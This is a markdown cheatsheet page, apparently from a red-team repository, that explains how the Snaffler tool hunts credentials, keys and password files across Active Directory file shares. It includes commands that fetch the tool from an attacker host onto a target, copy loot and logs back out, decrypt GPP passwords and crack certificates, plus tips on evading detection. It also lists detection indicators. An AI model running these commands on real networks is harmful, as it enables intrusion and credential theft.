daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

snaffler.md (30536B)


      1 ---
      2 title: "Snaffler"
      3 description: "Snaffler share-crawling for credentials, keys and sensitive files across SMB with tuning rules."
      4 category: tools
      5 tags: [credentials, shares, enumeration]
      6 tools: [Snaffler]
      7 difficulty: intermediate
      8 updated: "2026-08-09"
      9 source: "vault:ActiveDirectory/Snaffler.md"
     10 ---
     11 
     12 # πŸ” Snaffler β€” Complete Cheat Sheet
     13 > **Author:** Netrunner | **Tags:** `Credential Hunting` `File Shares` `AD` `Red Team` `Post-Exploitation`
     14 
     15 ---
     16 
     17 ## πŸ“‹ Table of Contents
     18 1. [What is Snaffler?](#what-is-snaffler)
     19 2. [How It Works](#how-it-works)
     20 3. [Getting Snaffler onto a Target](#getting-snaffler-onto-a-target)
     21 4. [Basic Usage](#basic-usage)
     22 5. [Target Specification](#target-specification)
     23 6. [Share Discovery Options](#share-discovery-options)
     24 7. [File Discovery & Snaffling](#file-discovery--snaffling)
     25 8. [Output Formats & Logging](#output-formats--logging)
     26 9. [Triage Levels β€” Understanding Results](#triage-levels--understanding-results)
     27 10. [Custom Rules (TOML Configuration)](#custom-rules-toml-configuration)
     28 11. [Performance Tuning](#performance-tuning)
     29 12. [Parsing & Post-Processing Results](#parsing--post-processing-results)
     30 13. [Real-World Attack Workflows](#real-world-attack-workflows)
     31 14. [OPSEC Tips](#opsec-tips)
     32 15. [Detection & Indicators](#detection--indicators)
     33 16. [Common Errors & Fixes](#common-errors--fixes)
     34 17. [Quick Reference Card](#quick-reference-card)
     35 
     36 ---
     37 
     38 ## What is Snaffler?
     39 
     40 Snaffler is a C# tool for **finding sensitive data across Active Directory file shares**. It automatically discovers domain-joined computers, enumerates their SMB shares, and recursively searches for files containing credentials, secrets, configuration data, and other high-value targets.
     41 
     42 **Core capabilities:**
     43 - Auto-discovers domain computers via LDAP
     44 - Enumerates SMB/CIFS shares on all discovered hosts
     45 - Searches files by name, extension, content, and regex patterns
     46 - Classifies findings by severity (Black β†’ Red β†’ Yellow β†’ Green)
     47 - Optionally copies ("snaffles") interesting files to a collection directory
     48 - Fully customizable rules via TOML configuration files
     49 
     50 > **GitHub:** `https://github.com/SnaffCon/Snaffler`
     51 
     52 ---
     53 
     54 ## How It Works
     55 
     56 ```
     57                     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     58                     β”‚ Active Directory   β”‚
     59                     β”‚ (LDAP Query)       β”‚
     60                     β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
     61                             β”‚ 1. Query for domain
     62                             β”‚    computer objects
     63                             β–Ό
     64                     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     65                     β”‚ Computer Discovery β”‚
     66                     β”‚ DC01, WEB01, DB01  β”‚
     67                     β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
     68                             β”‚ 2. Enumerate SMB shares
     69                             β”‚    on each computer
     70                             β–Ό
     71                     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     72                     β”‚ Share Enumeration  β”‚
     73                     β”‚ \\DC01\SYSVOL      β”‚
     74                     β”‚ \\WEB01\wwwroot    β”‚
     75                     β”‚ \\DB01\backup$     β”‚
     76                     β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
     77                             β”‚ 3. Recursively walk
     78                             β”‚    accessible shares
     79                             β–Ό
     80                     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     81                     β”‚ File Classificationβ”‚
     82                     β”‚ Match by name,     β”‚
     83                     β”‚ extension, content β”‚
     84                     β””β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
     85                             β”‚ 4. Report & optionally
     86                             β”‚    copy matched files
     87                             β–Ό
     88                     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     89                     β”‚ Output: Console,   β”‚
     90                     β”‚ Log File, TSV      β”‚
     91                     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
     92 ```
     93 
     94 **Key principle:** Snaffler runs as the **current user**. It can only access shares your user account has read permissions to. A low-privilege domain user will still often find plenty β€” SYSVOL, department shares, IT scripts folders, etc.
     95 
     96 ---
     97 
     98 ## Getting Snaffler onto a Target
     99 
    100 ```powershell
    101 # From your attacking machine β€” host it
    102 python3 -m http.server 80
    103 
    104 # On target β€” download
    105 certutil -urlcache -f http://10.10.14.x/Snaffler.exe C:\Windows\Temp\Snaffler.exe
    106 iwr -uri http://10.10.14.x/Snaffler.exe -outfile C:\Windows\Temp\Snaffler.exe
    107 (New-Object Net.WebClient).DownloadFile('http://10.10.14.x/Snaffler.exe', 'C:\Windows\Temp\Snaffler.exe')
    108 
    109 # Via Evil-WinRM
    110 upload Snaffler.exe
    111 
    112 # In-memory execution (.NET assembly loading)
    113 $data = (New-Object Net.WebClient).DownloadData('http://10.10.14.x/Snaffler.exe')
    114 $assem = [System.Reflection.Assembly]::Load($data)
    115 [SnafflerApp.Program]::Main(@("-s", "-o", "snaffler.log"))
    116 
    117 # Via Cobalt Strike
    118 beacon> execute-assembly /path/to/Snaffler.exe -s -o snaffler.log
    119 ```
    120 
    121 ---
    122 
    123 ## Basic Usage
    124 
    125 ```powershell
    126 # Simplest usage β€” output to console and log file
    127 Snaffler.exe -s -o snaffler.log
    128 
    129 # Just console output (no log file)
    130 Snaffler.exe -s
    131 
    132 # Just log file (quiet β€” no console output)
    133 Snaffler.exe -o snaffler.log
    134 
    135 # Specify domain explicitly
    136 Snaffler.exe -s -o snaffler.log -d PAINTERS.HTB
    137 
    138 # Specify domain controller
    139 Snaffler.exe -s -o snaffler.log -d PAINTERS.HTB -c DC01.painters.htb
    140 
    141 # Full verbose run with domain and DC specified
    142 Snaffler.exe -s -o snaffler.log -d PAINTERS.HTB -c DC01.painters.htb -v Trace
    143 
    144 # Classic on-box run: domain + file logging + data-level verbosity
    145 # (content match snippets included in output β€” what you want for credential hunting)
    146 Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
    147 ```
    148 
    149 ### Verbosity Levels
    150 
    151 | Flag | Level | Details |
    152 |------|-------|---------|
    153 | (default) | `Info` | Standard findings only |
    154 | `-v Data` | Data | Findings + file content matches |
    155 | `-v Degub` | Debug | Detailed operational info |
    156 | `-v Trace` | Trace | Everything β€” extremely verbose |
    157 
    158 ---
    159 
    160 ## Target Specification
    161 
    162 ### Auto-Discovery (Default)
    163 ```powershell
    164 # Let Snaffler query AD for all domain computers (default behavior)
    165 Snaffler.exe -s -o snaffler.log
    166 ```
    167 
    168 ### Manual Host List
    169 ```powershell
    170 # Disable domain discovery β€” provide specific hosts
    171 Snaffler.exe -s -o snaffler.log -n DC01,WEB01,DB01,FS01
    172 
    173 # Read targets from a file (one hostname/IP per line)
    174 Snaffler.exe -s -o snaffler.log -n targets.txt
    175 ```
    176 
    177 ### Scan a Specific Path (No Discovery)
    178 ```powershell
    179 # Skip computer AND share discovery β€” scan a local or UNC path directly
    180 Snaffler.exe -s -o snaffler.log -i "\\FS01\departmentshare"
    181 Snaffler.exe -s -o snaffler.log -i "C:\Users\admin\Desktop"
    182 ```
    183 
    184 ---
    185 
    186 ## Share Discovery Options
    187 
    188 ### Default Share Enumeration
    189 ```powershell
    190 # Enumerate all accessible shares on all discovered hosts (default)
    191 Snaffler.exe -s -o snaffler.log
    192 ```
    193 
    194 ### DFS Shares Only (Stealthier)
    195 ```powershell
    196 # Only discover DFS (Distributed File System) shares
    197 # Often considered sneakier β€” less share-enumeration noise
    198 Snaffler.exe -s -o snaffler.log -f
    199 ```
    200 
    201 ### Share Enumeration Only (No File Search)
    202 ```powershell
    203 # Just list accessible shares β€” don't look inside them
    204 # Great for recon / scoping before a full scan
    205 Snaffler.exe -s -o snaffler.log -a
    206 
    207 # Example output:
    208 # [Share] \\DC01\SYSVOL
    209 # [Share] \\DC01\NETLOGON
    210 # [Share] \\FS01\Users$
    211 # [Share] \\FS01\IT_Scripts
    212 # [Share] \\WEB01\wwwroot
    213 ```
    214 
    215 ---
    216 
    217 ## File Discovery & Snaffling
    218 
    219 ### Standard File Search
    220 ```powershell
    221 # Default β€” search files using built-in rules
    222 Snaffler.exe -s -o snaffler.log
    223 ```
    224 
    225 ### Copy Matched Files ("Snaffling")
    226 ```powershell
    227 # Automatically copy interesting files to a local directory
    228 Snaffler.exe -s -o snaffler.log -m C:\loot\snaffled
    229 
    230 # Limit file size for copies (default is 10MB / 10,000,000 bytes)
    231 Snaffler.exe -s -o snaffler.log -m C:\loot\snaffled -l 5000000
    232 
    233 # Copy only files under 1MB
    234 Snaffler.exe -s -o snaffler.log -m C:\loot\snaffled -l 1000000
    235 ```
    236 
    237 ### Content Search Tuning
    238 ```powershell
    239 # Set max file size to search INSIDE for sensitive strings
    240 # Default: 500KB (500,000 bytes)
    241 Snaffler.exe -s -o snaffler.log -r 1000000
    242 
    243 # Reduce to 100KB for faster scanning (less thorough)
    244 Snaffler.exe -s -o snaffler.log -r 100000
    245 ```
    246 
    247 ### AD Username Enrichment
    248 ```powershell
    249 # Extract AD account names and build dynamic search rules
    250 # Searches for files/content referencing specific usernames
    251 Snaffler.exe -s -o snaffler.log -u
    252 ```
    253 
    254 ---
    255 
    256 ## Output Formats & Logging
    257 
    258 ### Standard Output (Human Readable)
    259 ```powershell
    260 # Console + log file
    261 Snaffler.exe -s -o snaffler.log
    262 ```
    263 
    264 ### TSV Output (Machine Parseable)
    265 ```powershell
    266 # Output in Tab-Separated Values format
    267 # Ideal for piping into grep, awk, Excel, or custom parsers
    268 Snaffler.exe -s -o snaffler.tsv -y
    269 ```
    270 
    271 ### Understanding Output Lines
    272 
    273 ```
    274 # Standard output format:
    275 {TriageLevel} {Timestamp} {RuleName} {MatchLocation} {FilePath} {FileSize} {ModifiedDate} {MatchContext}
    276 
    277 # Example outputs:
    278 [Black] 2026-04-04 14:23:01 KeepKeePassRed FileExtension \\FS01\IT\passwords.kdbx 2048 2025-11-01
    279 [Red]   2026-04-04 14:23:05 KeepCertContainsPrivKeyRed FileExtension \\DC01\SYSVOL\cert.pfx 4096 2025-09-15
    280 [Yellow] 2026-04-04 14:23:10 ConfigContentYellow Content \\WEB01\wwwroot\web.config 1024 2025-12-01 "connectionString=...password=SecretPass..."
    281 [Green] 2026-04-04 14:24:00 InterestingExtGreen FileExtension \\FS01\Scripts\deploy.ps1 8192 2026-01-10
    282 ```
    283 
    284 ---
    285 
    286 ## Triage Levels β€” Understanding Results
    287 
    288 Snaffler classifies every finding into one of four severity levels:
    289 
    290 | Level | Color | Meaning | Priority | Examples |
    291 |-------|-------|---------|----------|----------|
    292 | **Black** | ⬛ | Immediate high-value win | πŸ”΄ Critical | `.kdbx` (KeePass), `.ppk` (PuTTY keys), private keys, password vaults |
    293 | **Red** | πŸŸ₯ | Significant β€” investigate now | 🟠 High | `.pfx` / `.p12` certs with private keys, config files with embedded creds |
    294 | **Yellow** | 🟨 | Moderate interest | 🟑 Medium | Config files, scripts with possible credentials, `.xml` with settings |
    295 | **Green** | 🟩 | Low priority / informational | 🟒 Low | Interesting extensions, scripts, documentation that might contain info |
    296 
    297 ### What to Investigate First
    298 
    299 ```
    300 Priority 1 (Black): Password databases, private keys, vault files
    301   β†’ Crack KeePass DBs, use private keys for auth, extract vault secrets
    302 
    303 Priority 2 (Red): Certificate files, config files with passwords
    304   β†’ Import certs for auth, extract plaintext passwords from configs
    305 
    306 Priority 3 (Yellow): Web configs, scripts, connection strings
    307   β†’ Check for hardcoded passwords, database connection strings, API keys
    308 
    309 Priority 4 (Green): Scripts, documentation, interesting files
    310   β†’ Manual review for embedded credentials or useful information
    311 ```
    312 
    313 ### Useful Grep Patterns for Snaffler Output
    314 
    315 ```bash
    316 # Filter by triage level
    317 grep "\[Black\]" snaffler.log
    318 grep "\[Red\]" snaffler.log
    319 grep -E "\[(Black|Red)\]" snaffler.log
    320 
    321 # Find specific file types
    322 grep "\.kdbx" snaffler.log
    323 grep "\.pfx" snaffler.log
    324 grep "\.config" snaffler.log
    325 grep "web\.config" snaffler.log
    326 
    327 # Find password matches in content
    328 grep -i "password" snaffler.log
    329 grep -i "connectionstring" snaffler.log
    330 
    331 # Count findings by level
    332 grep -c "\[Black\]" snaffler.log
    333 grep -c "\[Red\]" snaffler.log
    334 grep -c "\[Yellow\]" snaffler.log
    335 grep -c "\[Green\]" snaffler.log
    336 ```
    337 
    338 ---
    339 
    340 ## Custom Rules (TOML Configuration)
    341 
    342 ### Generate Default Config Template
    343 
    344 ```powershell
    345 # Generate a default.toml with all rules for customization
    346 Snaffler.exe -z generate
    347 
    348 # This creates a .toml file you can edit and reload
    349 ```
    350 
    351 ### Load Custom Rules
    352 
    353 ```powershell
    354 # Point Snaffler to a directory containing your custom .toml rules
    355 # NOTE: This REPLACES the default rules, not adds to them
    356 Snaffler.exe -s -o snaffler.log -p C:\rules\custom_rules\
    357 ```
    358 
    359 ### TOML Rule Structure
    360 
    361 ```toml
    362 # Each rule is defined under ClassifierRules
    363 # Multiple rules can exist in a single .toml file
    364 
    365 ClassifierRules
    366 EnumerationScope = "FileEnumeration"    # When this rule runs
    367 RuleName = "MyCustomRule"               # Descriptive name
    368 MatchAction = "Snaffle"                 # What to do on match
    369 MatchLocation = "FileExtension"         # What to check
    370 WordListType = "Exact"                  # How to match
    371 WordList = [".kdbx", ".ppk"]            # What to match against
    372 Triage = "Black"                        # Severity classification
    373 ```
    374 
    375 ### Rule Components Explained
    376 
    377 | Component | Options | Description |
    378 |-----------|---------|-------------|
    379 | `EnumerationScope` | `ShareEnumeration`, `DirectoryEnumeration`, `FileEnumeration`, `FileContent` | Stage where rule runs |
    380 | `MatchAction` | `Snaffle` (report/copy), `Discard` (ignore), `CheckForInterest`, `Relay` | Action on match |
    381 | `MatchLocation` | `FileExtension`, `FileName`, `FilePath`, `Path`, `Content` | What attribute to check |
    382 | `WordListType` | `Exact`, `Contains`, `Regex`, `EndsWith`, `StartsWith` | Matching method |
    383 | `Triage` | `Black`, `Red`, `Yellow`, `Green` | Severity assignment |
    384 
    385 ### Example Custom Rules
    386 
    387 #### Rule: Find Password Databases
    388 ```toml
    389 ClassifierRules
    390 EnumerationScope = "FileEnumeration"
    391 RuleName = "KeepPasswordDatabasesBlack"
    392 MatchAction = "Snaffle"
    393 MatchLocation = "FileExtension"
    394 WordListType = "Exact"
    395 WordList = [".kdbx", ".kdb", ".1pif", ".agilekeychain", ".opvault", ".enpass", ".psafe3", ".dash"]
    396 Triage = "Black"
    397 ```
    398 
    399 #### Rule: Find SSH/SSL Private Keys
    400 ```toml
    401 ClassifierRules
    402 EnumerationScope = "FileEnumeration"
    403 RuleName = "KeepPrivateKeysBlack"
    404 MatchAction = "Snaffle"
    405 MatchLocation = "FileExtension"
    406 WordListType = "Exact"
    407 WordList = [".pem", ".ppk", ".key", ".pvk", ".p12", ".pfx", ".jks", ".keystore"]
    408 Triage = "Black"
    409 ```
    410 
    411 #### Rule: Find Hardcoded Passwords in Config Files
    412 ```toml
    413 ClassifierRules
    414 EnumerationScope = "FileContent"
    415 RuleName = "FindHardcodedPasswordsRed"
    416 MatchAction = "Snaffle"
    417 MatchLocation = "Content"
    418 WordListType = "Regex"
    419 WordList = ["(?i)(password|passwd|pwd)\\s*[:=]\\s*['\"]?[a-zA-Z0-9!@#$%^&*()_+]{6,}"]
    420 Triage = "Red"
    421 ```
    422 
    423 #### Rule: Find AWS/Azure/GCP Credentials
    424 ```toml
    425 ClassifierRules
    426 EnumerationScope = "FileContent"
    427 RuleName = "FindCloudCredsRed"
    428 MatchAction = "Snaffle"
    429 MatchLocation = "Content"
    430 WordListType = "Regex"
    431 WordList = [
    432     "AKIA[0-9A-Z]{16}",
    433     "(?i)aws_secret_access_key\\s*[:=]",
    434     "(?i)azure_client_secret\\s*[:=]",
    435     "(?i)GOOGLE_APPLICATION_CREDENTIALS"
    436 ]
    437 Triage = "Red"
    438 ```
    439 
    440 #### Rule: Exclude Noisy Directories
    441 ```toml
    442 ClassifierRules
    443 EnumerationScope = "DirectoryEnumeration"
    444 RuleName = "DiscardNoisyDirs"
    445 MatchAction = "Discard"
    446 MatchLocation = "Path"
    447 WordListType = "Contains"
    448 WordList = [
    449     "\\windows\\winsxs",
    450     "\\$recycle.bin",
    451     "\\windows\\servicing",
    452     "\\windows\\assembly",
    453     "\\windows\\installer",
    454     "\\windows\\logs",
    455     "\\program files\\windowsapps"
    456 ]
    457 ```
    458 
    459 #### Rule: Find Group Policy Preference Files (cpassword)
    460 ```toml
    461 ClassifierRules
    462 EnumerationScope = "FileEnumeration"
    463 RuleName = "KeepGPPFilesBlack"
    464 MatchAction = "Snaffle"
    465 MatchLocation = "FileName"
    466 WordListType = "Exact"
    467 WordList = ["Groups.xml", "Services.xml", "Scheduledtasks.xml", "DataSources.xml", "Printers.xml", "Drives.xml"]
    468 Triage = "Black"
    469 ```
    470 
    471 ---
    472 
    473 ## Performance Tuning
    474 
    475 ```powershell
    476 # Large environments can take hours. Here's how to speed things up:
    477 
    478 # 1. Scope down β€” target specific hosts instead of full domain
    479 Snaffler.exe -s -o snaffler.log -n DC01,FS01,FS02
    480 
    481 # 2. Use DFS-only mode to reduce share enumeration noise
    482 Snaffler.exe -s -o snaffler.log -f
    483 
    484 # 3. Reduce content search file size (default 500KB β†’ 100KB)
    485 Snaffler.exe -s -o snaffler.log -r 100000
    486 
    487 # 4. Start with share-only recon, then target interesting shares
    488 Snaffler.exe -s -o shares_only.log -a
    489 # Review β†’ then target specific paths:
    490 Snaffler.exe -s -o targeted.log -i "\\FS01\IT_Scripts"
    491 
    492 # 5. Use custom rules that exclude noisy directories (see TOML section)
    493 
    494 # 6. Run during business hours when systems are online
    495 # (computers must be on and accessible via SMB)
    496 ```
    497 
    498 ---
    499 
    500 ## Parsing & Post-Processing Results
    501 
    502 ### Triage snaffler.log On the Windows Box
    503 
    504 When you're in a cmd / evil-winrm session and want to check findings **before** exfiltrating the log:
    505 
    506 ```cmd
    507 :: Read the whole log
    508 type snaffler.log
    509 
    510 :: Only Black / Red findings (the good stuff)
    511 findstr /c:"[Black]" snaffler.log
    512 findstr /c:"[Red]" snaffler.log
    513 findstr /c:"[Black]" /c:"[Red]" snaffler.log
    514 
    515 :: Hunt keywords in match context (requires -v data when scanning)
    516 findstr /i "password" snaffler.log
    517 findstr /i "connectionstring" snaffler.log
    518 findstr /i "\.kdbx \.pfx web.config unattend" snaffler.log
    519 ```
    520 
    521 ```powershell
    522 # ── PowerShell equivalents ────────────────────────────────────────────────────
    523 Select-String -Path snaffler.log -Pattern "\[Black\]","\[Red\]"
    524 Get-Content snaffler.log | Select-String -Pattern "password" | Select-Object -First 20
    525 
    526 # Count findings per triage level
    527 Select-String -Path snaffler.log -Pattern "\[Black\]" | Measure-Object
    528 ```
    529 
    530 ### Get the Log Back to Your Machine
    531 
    532 ```powershell
    533 # ── Evil-WinRM session ────────────────────────────────────────────────────────
    534 download snaffler.log
    535 
    536 # ── xfreerdp drive redirection (see xfreerdp sheet) ──────────────────────────
    537 copy snaffler.log \\tsclient\home\snaffler.log
    538 
    539 # ── SMB share on your box (impacket-smbserver) ───────────────────────────────
    540 copy snaffler.log \\10.10.14.x\share\snaffler.log
    541 
    542 # ── Base64 exfil over the session itself ─────────────────────────────────────
    543 certutil -encode snaffler.log snaffler.b64
    544 # then: download snaffler.b64  &&  base64 -d snaffler.b64 > snaffler.log
    545 ```
    546 
    547 Then run the grep one-liners below locally, where output is easier to read.
    548 
    549 ### Quick Bash One-Liners
    550 
    551 ```bash
    552 # Show only Black and Red findings (highest value)
    553 grep -E "\[(Black|Red)\]" snaffler.log
    554 
    555 # Extract just the file paths from results
    556 awk -F'\t' '{print $5}' snaffler.tsv
    557 
    558 # Sort findings by triage level (Black first)
    559 sort -t'[' -k2 snaffler.log
    560 
    561 # Get unique file extensions found
    562 grep -oP '\.\w+(?=\s)' snaffler.log | sort -u
    563 
    564 # Count findings per host
    565 grep -oP '\\\\[^\\]+' snaffler.log | sort | uniq -c | sort -rn
    566 
    567 # Find all .config files with passwords
    568 grep -i "password" snaffler.log | grep -i "\.config"
    569 
    570 # Extract connection strings
    571 grep -i "connectionstring" snaffler.log
    572 
    573 # Find all KeePass databases
    574 grep "\.kdbx" snaffler.log
    575 ```
    576 
    577 ### PowerShell Parsing
    578 
    579 ```powershell
    580 # Import TSV output
    581 $results = Import-Csv -Path snaffler.tsv -Delimiter "`t"
    582 
    583 # Filter by triage level
    584 $critical = $results | Where-Object { $_.Triage -eq "Black" -or $_.Triage -eq "Red" }
    585 
    586 # Group by rule name
    587 $results | Group-Object -Property RuleName | Sort-Object Count -Descending
    588 
    589 # Export critical findings to CSV
    590 $critical | Export-Csv -Path critical_findings.csv -NoTypeInformation
    591 ```
    592 
    593 ### SnafflerParser (Community Tool)
    594 
    595 ```bash
    596 # Community tool for converting Snaffler output to HTML reports
    597 # GitHub: https://github.com/SpaceCowboy-71/SnafflerParser
    598 
    599 # Generate an HTML report from Snaffler log
    600 python3 SnafflerParser.py -i snaffler.log -o report.html
    601 
    602 # Generate sorted/filtered output
    603 python3 SnafflerParser.py -i snaffler.log -o report.html --min-triage Red
    604 ```
    605 
    606 ---
    607 
    608 ## Real-World Attack Workflows
    609 
    610 ### Workflow 1: Initial Domain Recon Sweep
    611 
    612 ```powershell
    613 # Step 1: Quick share-only recon (fast, low noise)
    614 Snaffler.exe -s -o shares_recon.log -a
    615 
    616 # Step 2: Review accessible shares
    617 type shares_recon.log
    618 
    619 # Step 3: Full scan with logging
    620 Snaffler.exe -s -o full_scan.log
    621 
    622 # Step 4: Prioritize findings
    623 # On Kali, pull the log:
    624 grep -E "\[(Black|Red)\]" full_scan.log
    625 ```
    626 
    627 ### Workflow 2: GPP Password Hunt (SYSVOL)
    628 
    629 ```powershell
    630 # Target SYSVOL specifically for Group Policy Preference cpasswords
    631 Snaffler.exe -s -o gpp_hunt.log -i "\\DC01\SYSVOL"
    632 
    633 # If you find Groups.xml / Services.xml with cpassword:
    634 # Decrypt the cpassword using gpp-decrypt
    635 gpp-decrypt <cpassword_base64_value>
    636 
    637 # Or use crackmapexec
    638 crackmapexec smb DC01 -u user -p pass -M gpp_autologin
    639 crackmapexec smb DC01 -u user -p pass -M gpp_password
    640 ```
    641 
    642 ### Workflow 3: Targeted IT/Admin Share Hunt
    643 
    644 ```powershell
    645 # Step 1: Identify IT-related shares from recon
    646 Snaffler.exe -s -o shares.log -a
    647 # Look for: IT_Scripts, Admin$, Backup, Deploy, Software
    648 
    649 # Step 2: Target those shares specifically
    650 Snaffler.exe -s -o it_scripts.log -i "\\FS01\IT_Scripts"
    651 Snaffler.exe -s -o backups.log -i "\\FS01\Backups"
    652 
    653 # Step 3: Look for scripts with hardcoded credentials
    654 grep -i "password" it_scripts.log
    655 grep -i "credential" it_scripts.log
    656 grep -i "runas" it_scripts.log
    657 
    658 # Step 4: Copy interesting files locally for deeper review
    659 Snaffler.exe -s -o targeted.log -i "\\FS01\IT_Scripts" -m C:\loot\snaffled -l 5000000
    660 ```
    661 
    662 ### Workflow 4: Web.config Credential Extraction
    663 
    664 ```powershell
    665 # Scan web server shares for config files
    666 Snaffler.exe -s -o webconfigs.log -n WEB01,WEB02,APP01
    667 
    668 # Parse results for connection strings
    669 grep -i "connectionstring" webconfigs.log
    670 grep -i "password" webconfigs.log
    671 grep -i "appSettings" webconfigs.log
    672 
    673 # Common web.config credential patterns:
    674 #   <add key="DBPassword" value="SecretPass123" />
    675 #   connectionString="Server=DB01;Database=app;User=sa;Password=P@ss;"
    676 #   <identity impersonate="true" userName="DOMAIN\svc" password="..." />
    677 ```
    678 
    679 ### Workflow 5: Certificate & Key Hunting
    680 
    681 ```powershell
    682 # Hunt for certificate files across the domain
    683 Snaffler.exe -s -o certs.log
    684 
    685 # Filter for cert-related findings
    686 grep -E "\.(pfx|p12|pem|key|pvk|ppk|jks)" certs.log
    687 
    688 # If you find a .pfx file:
    689 # 1. Copy it locally
    690 copy "\\FS01\Certs\wildcard.pfx" C:\loot\
    691 
    692 # 2. Try to import without password
    693 certutil -importpfx C:\loot\wildcard.pfx
    694 
    695 # 3. Or use Certipy to authenticate with the cert (from Linux)
    696 certipy auth -pfx wildcard.pfx -dc-ip 10.10.11.x
    697 
    698 # If password-protected, crack with pfx2john + john/hashcat
    699 pfx2john wildcard.pfx > pfx_hash.txt
    700 john pfx_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
    701 ```
    702 
    703 ---
    704 
    705 ## OPSEC Tips
    706 
    707 ```
    708 βœ… Run during business hours β€” more hosts will be online and accessible
    709 
    710 βœ… Use -a (share-only) first to scope before full scanning
    711    Reduces time on target and lets you prioritize
    712 
    713 βœ… Use targeted scans (-n or -i) instead of full domain sweeps
    714    Less network noise, faster results, harder to detect
    715 
    716 βœ… Use DFS mode (-f) when possible β€” less share enumeration traffic
    717 
    718 βœ… Pipe output to a file (-o) and exfiltrate the log later
    719    Avoid leaving console output in C2 logs/screenshots
    720 
    721 βœ… Use TSV output (-y) for cleaner parsing β€” no need to re-run
    722 
    723 βœ… Scope down content search size (-r) to reduce time on target
    724 
    725 βœ… Run via execute-assembly in C2 β€” avoid dropping binary to disk
    726 
    727 ⚠️ Snaffler generates SIGNIFICANT SMB traffic across many hosts
    728    Security teams monitoring NetFlow/SMB logs will notice
    729 
    730 ⚠️ Accessing many shares rapidly looks like SMB enumeration
    731    IDS rules exist for rapid share access patterns
    732 
    733 ⚠️ Copying files (-m flag) generates even more SMB traffic
    734    Only snaffle files you specifically need
    735 
    736 ⚠️ Running from a workstation that doesn't normally access many shares
    737    is an anomaly that UEBA/behavior analytics will flag
    738 ```
    739 
    740 ---
    741 
    742 ## Detection & Indicators
    743 
    744 | Indicator | Details |
    745 |-----------|---------|
    746 | **SMB traffic volume** | Rapid connections to many hosts on port 445 |
    747 | **Share enumeration** | Multiple `NetShareEnumAll` RPC calls in logs |
    748 | **File access patterns** | Reading many files across many shares in short time |
    749 | **Event 5140** | Network share was accessed (Windows Security Log) |
    750 | **Event 5145** | Detailed file share access audit (file-level) |
    751 | **Event 4624** | Logon events from share access across multiple hosts |
    752 | **Binary signatures** | Snaffler.exe is known to most AV / EDR |
    753 | **Process name** | `Snaffler.exe` process name in EDR telemetry |
    754 | **LDAP queries** | Computer object enumeration via LDAP to find targets |
    755 
    756 ### MITRE ATT&CK Mapping
    757 
    758 | Technique | TTP ID |
    759 |-----------|--------|
    760 | Network Share Discovery | T1135 |
    761 | Data from Network Shared Drive | T1039 |
    762 | Unsecured Credentials: Credentials in Files | T1552.001 |
    763 | File and Directory Discovery | T1083 |
    764 | Remote System Discovery | T1018 |
    765 | Automated Collection | T1119 |
    766 
    767 ---
    768 
    769 ## Common Errors & Fixes
    770 
    771 | Error | Cause | Fix |
    772 |-------|-------|-----|
    773 | No computers found | Not running as domain user / wrong domain | Use `-d DOMAIN.HTB` and `-c DC01.domain.htb` |
    774 | Access denied to all shares | Current user has no share permissions | Try with higher-privileged credentials |
    775 | Very few results | Default rules don't match your target files | Write custom TOML rules for your engagement |
    776 | Scan runs forever | Huge environment with many computers/shares | Scope down with `-n` or `-i`, reduce `-r` size |
    777 | `System.DirectoryServices` error | Missing .NET dependencies | Target has old .NET β€” build for .NET 3.5 |
    778 | No output at all | Forgot `-s` flag (console output) | Add `-s` for stdout or `-o` for log file |
    779 | Binary blocked by AV | Snaffler.exe is signatured | Use `execute-assembly` via C2, obfuscate, or recompile |
    780 | `Access is denied.` on specific shares | ACL blocks your user | Expected behavior β€” focus on accessible shares |
    781 | TSV output garbled | Special characters in file paths | Use PowerShell `Import-Csv` with backtick-t delimiter |
    782 | Missing computers in scan | Hosts are offline | Run during business hours when workstations are on |
    783 
    784 ---
    785 
    786 ## Quick Reference Card
    787 
    788 ```
    789 ═══════════════════════════════════════════════════════════════════
    790   SNAFFLER QUICK REFERENCE
    791 ═══════════════════════════════════════════════════════════════════
    792 
    793 BASIC SCAN:         Snaffler.exe -s -o snaffler.log
    794 WITH DOMAIN:        Snaffler.exe -s -o snaffler.log -d DOMAIN.HTB
    795 WITH DC:            Snaffler.exe -s -o snaffler.log -d DOMAIN.HTB -c DC01.domain.htb
    796 
    797 TARGET HOSTS:       Snaffler.exe -s -o snaffler.log -n DC01,FS01,WEB01
    798 TARGET PATH:        Snaffler.exe -s -o snaffler.log -i "\\FS01\share"
    799 
    800 DFS ONLY:           Snaffler.exe -s -o snaffler.log -f
    801 SHARES ONLY:        Snaffler.exe -s -o snaffler.log -a
    802 
    803 COPY FILES:         Snaffler.exe -s -o snaffler.log -m C:\loot\snaffled
    804 MAX COPY SIZE:      Snaffler.exe -s -o snaffler.log -m C:\loot -l 5000000
    805 CONTENT SIZE:       Snaffler.exe -s -o snaffler.log -r 100000
    806 
    807 TSV OUTPUT:         Snaffler.exe -s -o snaffler.tsv -y
